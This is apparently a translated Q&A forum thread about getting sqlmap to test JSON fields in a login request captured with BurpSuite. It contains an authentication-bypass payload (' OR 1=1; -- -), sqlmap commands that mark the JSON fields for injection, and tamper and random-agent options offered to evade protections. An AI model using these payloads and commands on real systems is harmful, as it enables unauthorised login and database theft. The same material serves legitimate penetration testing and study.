SQLMAP - публиковать данные JSON как тело
Привет я пытаюсь сделать SQL-инъекцию в форме входа в систему.
С помощью BurpSuite я перехватываю запрос:
POST /xxxx/web/Login HTTP/1.1
Host: 10.0.0.70:42020
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: application/json, text/plain, */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Referer: http://xxxxxx.com/xxxxxx/
Content-Length: 44
origin: http://xxxxx.com
Connection: close
{"username”:"user",”password”:"pass"}
с помощью:
sqlmap -u requestFile
(где requestFile - это содержимое запроса, перехваченного Burp)
sqlmap не может найти вводимое поле с паролем.
Я уверен, что это инъекционная причина, если в качестве пароля я ввожу:
' OR 1=1; -- -
Я могу войти с каждым именем пользователя, которое я вставляю
Пробовал также с:
{"username”:*,”password”:*}
но не повезло.
Что я делаю не так?
3 ответа
Пример:
POST / HTTP/1.1
Host: www.example.com
{"username":"*", "password":"*"}
Сохранено как
sqlrequest.txt
Затем можно запустить тест с помощью этой команды:
py sqlmap.py -r sqlrequest.txt --level=5 risk=3 --force-ssl
Затем вы должны получить сообщение о том, что пользовательский маркер инъекции найден и данные JSON найдены в теле POST. Обработайте оба, и тогда все готово.
Источники:
/questions/2739644/poryadok-predmetov-v-klassah-polya-svojstva-konstruktoryi-metodyi/2739664#2739664
ответ, данный Ogglas, был действительно хорош, я просто хочу упомянуть, что если вы углубитесь в параметры sqlmap, например --random-agent, --time-sec и -tamper, это поможет вам действовать эффективно и обойти некоторую защиту. ;)
sqlmap -r sqli.txt --time-sec=5 --random-agent -tamper=between,space2comment